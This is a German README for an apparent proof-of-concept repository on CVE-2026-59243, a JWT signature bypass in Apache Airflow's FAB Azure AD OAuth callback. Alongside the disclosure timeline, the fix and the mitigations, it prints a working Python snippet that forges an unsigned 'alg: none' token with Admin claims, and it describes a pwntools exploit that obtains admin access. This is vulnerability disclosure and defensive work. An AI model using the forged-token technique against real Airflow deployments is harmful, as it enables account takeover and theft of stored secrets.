
Proof-of-Concept für CVE-2026-59243, der einen Bypass der JWT-Signaturprüfung im Azure AD OAuth-Callback des Apache Airflow FAB Auth Managers aufgrund einer unsicheren Standardeinstellung demonstriert.
Koreanische Version: README.ko.md
Offizielles Advisory (Apache, veröffentlicht am 2026-07-29): https://lists.apache.org/thread/x4784l7z00tl3gw4tv2dmvoon77rxgpl
CVE-Eintrag: https://www.cve.org/CVERecord?id=CVE-2026-59243
Behoben in: apache-airflow-providers-fab==3.7.3
AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:Hproviders/fab Auth Manager (Azure-AD-OAuth-Pfad)Der Fix wurde am 2026-07-07 upstream gemerged (Commit 54259ae, PR #69374) und am 2026-07-28 in apache-airflow-providers-fab==3.7.3 ausgeliefert. Das Advisory von Apache wurde am 2026-07-29 veröffentlicht; Apache stufte den Schweregrad als moderat ein.
Der Azure-AD-OAuth-Callback des FAB Auth Managers dekodiert das id_token standardmäßig mit verify_signature=False. Wenn man ein JWT vor diesen Callback bekommt (MITM, Redirect-Missbrauch, was auch immer), kann man ihm jede beliebige Identität übergeben, einschließlich Admin. Der Authentik-Pfad in derselben Datei verwendet standardmäßig True – das war mein erster Hinweis darauf, dass der Azure-Standardwert nicht beabsichtigt war. Upstream hat ihn mit einer Ein-Zeichen-Änderung auf True gestellt.
Apache-CNA-Tracker: https://cveprocess.apache.org/cve5/CVE-2026-59243 Advisory der Apache-Mailingliste: https://lists.apache.org/thread/x4784l7z00tl3gw4tv2dmvoon77rxgpl
Datei: providers/fab/src/airflow/providers/fab/auth_manager/security_manager/override.py
Die Zeilennummern haben sich zwischen der ursprünglichen Meldung und dem aktuellen main durch unabhängige Refactorings etwas verschoben, aber es ist dieselbe Datei.
Der verwundbare Code ist kurz:
# override.py:2331 at report time
def _decode_and_validate_azure_jwt(self, id_token: str) -> dict[str, str]:
verify_signature = self.oauth_remotes["azure"].client_kwargs.get(
"verify_signature", False, # <- default False, this is the bug
)
if verify_signature:
# ... proper JWK signature verification with authlib
return claims
# default path: no signature check at all
return jwt.decode(id_token, options={"verify_signature": False})
Zwei Dinge fallen auf. Erstens ist der Standardwert False, sodass jeder, der die Azure-Integration nutzt, ohne explizit verify_signature: true in client_kwargs zu setzen, keine Signaturprüfung erhält. Zweitens übergibt der Fallback-Pfad das Token einfach an jwt.decode, wobei die Signaturprüfung deaktiviert ist. Es ist kein Fail-Open durch einen fehlenden Schlüssel oder einen fehlgeschlagenen JWKS-Abruf. Es ist ein absichtlicher Durchgriff, der allem vertraut, was der Aufrufer geliefert hat.
Zum Vergleich: Hier ist der Authentik-Pfad in derselben Datei:
# override.py:414 at report time — Authentik
verify_signature = self.oauth_remotes["authentik"].client_kwargs.get(
"verify_signature", True, # default True
)
Dieselbe Form, entgegengesetzter Standardwert. Das lässt sich kaum anders lesen denn als Versehen.
Angenommen, Airflow ist mit FAB Auth Manager und Azure-AD-OAuth bereitgestellt, ohne verify_signature-Override in client_kwargs (der Standardkonfiguration).
Fälsche ein JWT mit alg: none, beliebigen Claims und leerer Signatur:
import base64, json
def b64u(x): return base64.urlsafe_b64encode(json.dumps(x).encode()).rstrip(b"=").decode()
header = b64u({"alg": "none", "typ": "JWT"})
payload = b64u({
"sub": "[email protected]",
"email": "[email protected]",
"name": "Administrator",
"roles": ["Admin"],
"iss": "https://login.microsoftonline.com/<tenant>/v2.0",
"aud": "<airflow-client-id>",
"exp": 9999999999,
})
forged = f"{header}.{payload}." # trailing dot: empty signature
Bekomme dieses Token zum Callback (/login/azure/authorized oder wo auch immer die Integration gemountet ist). Die Zustellung ist in der Praxis der knifflige Teil: Man braucht eine MITM-Position, einen missbrauchbaren Redirect-Ablauf oder einen Hilfs-Bug, der das Einschleusen des Tokens ermöglicht. Sobald es dort ankommt, ruft FAB _decode_and_validate_azure_jwt auf, fällt in den Standardpfad und gibt die Claims unverändert zurück. Ab da ist man Admin, und Admin in Airflow bedeutet Connections, Variables, den Fernet-Schlüssel und beliebige Task-Ausführung als Worker.
Ich habe das als 8.1 Hoch bewertet, AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H. Die Komplexität ist Hoch, weil die Zustellung des JWTs nicht in jeder Bereitstellung trivial ist. Die Auswirkung ist vollständig, wenn man es durchziehen kann. Apache bewertet es im Advisory möglicherweise anders; das ist in Ordnung.
Ein Zeichen. Bereits in main, bereits ausgeliefert:
- verify_signature = self.oauth_remotes["azure"].client_kwargs.get("verify_signature", False)
+ verify_signature = self.oauth_remotes["azure"].client_kwargs.get("verify_signature", True)
Gemerged als 54259ae in PR #69374 am 2026-07-07. Veröffentlicht in apache-airflow-providers-fab==3.7.3 am 2026-07-28.
Wenn jemand wirklich ohne Signaturprüfung arbeiten muss (z. B. selbstsigniertes JWKS auf einer On-Premises-Replik), kann er das weiterhin explizit tun, indem er verify_signature: false in client_kwargs setzt. Das ist eine viel bessere Ausgangslage, als standardmäßig unsicher zu sein.
Wer nicht sofort upgraden kann, setzt es explizit in webserver_config.py:
OAUTH_PROVIDERS = [
{
"name": "azure",
"client_kwargs": {"verify_signature": True, ...},
# ...
},
]
Ebenfalls sinnvoll: HTTPS-only-OAuth-Callbacks mit strikter redirect_uri-Allowlist und das Rotieren der Airflow Connections, falls du glaubst, betroffen zu sein.
Der Docker-PoC befindet sich unter poc/:
poc/server.py reproduziert den verwundbaren Pfad jwt.decode(..., options={"verify_signature": False}) in einer kleinen Flask-App.poc/exploit_airflow_jwt.py nutzt pwntools, um das Token zu fälschen, den Callback aufzurufen, in der Admin-Ansicht zu landen und Platzhalter-„secrets" auszugeben.poc/Dockerfile und poc/docker-compose.yml starten das Ziel auf 127.0.0.1:5002, damit es nicht ins LAN austreten kann.Ein Befehl:
cd poc/
./run.sh
Die docker-compose.yml bindet an Loopback. Wenn du darauf bestehst, sie auf einem gemeinsam genutzten Rechner auszuführen, passe das zuerst an.
CVE-2026-59243/
├── README.md diese Datei (EN)
├── README.ko.md Koreanische Version
├── LICENSE MIT + Hinweis zur defensiven Nutzung
├── check_advisory.sh cron-gesteuerter Publikations-Watcher
├── patch/fix.diff der Ein-Zeichen-Fix, verankert an Zeile 2332 zum Zeitpunkt der Meldung
└── poc/ Docker- + pwntools-Reproduktion
Gemeldet von MalHyuk. Erreichbar über https://github.com/MalHyuk.
Auf Apache-Seite: [email protected] für die ursprüngliche Meldung; die Nachverfolgung im Juli übernahm ein Airflow-PMC-Mitglied.
MIT, siehe LICENSE. Der PoC dient der Demonstration und der defensiven Arbeit an Systemen, die dir gehören oder für die du eine schriftliche Genehmigung zum Testen hast.
| Datum | Ereignis |
|---|
| 2026-03-18 | An [email protected] gemeldet |
| 2026-03 bis 2026-07 | Auf Apaches Seite war es ruhig. Ein Airflow-PMC-Mitglied erwähnte später, dass der ursprüngliche Bericht übersehen worden war. |
| 2026-07-03 | Von einem Airflow-PMC-Mitglied aufgegriffen |
| 2026-07-04 | CVE-2026-59243 zugewiesen |
| 2026-07-04 | Credit-Info gesendet (MalHyuk / https://github.com/MalHyuk) |
| 2026-07-07 | Fix gemerged: Commit 54259ae, PR #69374 |
| 2026-07-28 | In apache-airflow-providers-fab==3.7.3 ausgeliefert |
| 2026-07-29 | MITRE-CVE-Eintrag veröffentlicht, Apache-Advisory an [email protected] gesendet |
| 2026-07-29 | Dieses Repo wurde öffentlich geschaltet |
| ausstehend | NVD-Detailseite (normalerweise einige Tage nach MITRE) |
| ausstehend | GHSA-Eintrag unter github.com/apache/airflow/security/advisories |
| Funktion | Zum Zeitpunkt der Meldung (2026-03-18) | Im behobenen main (2026-07-29) |
|---|
_decode_and_validate_azure_jwt() | 2331–2341 (Standard False, verwundbar) | 2428–2438 (Standard True, behoben) |
_get_authentik_token_info() (sichere Referenz) | 414–416 (Standard True) | 419–420 (Standard True) |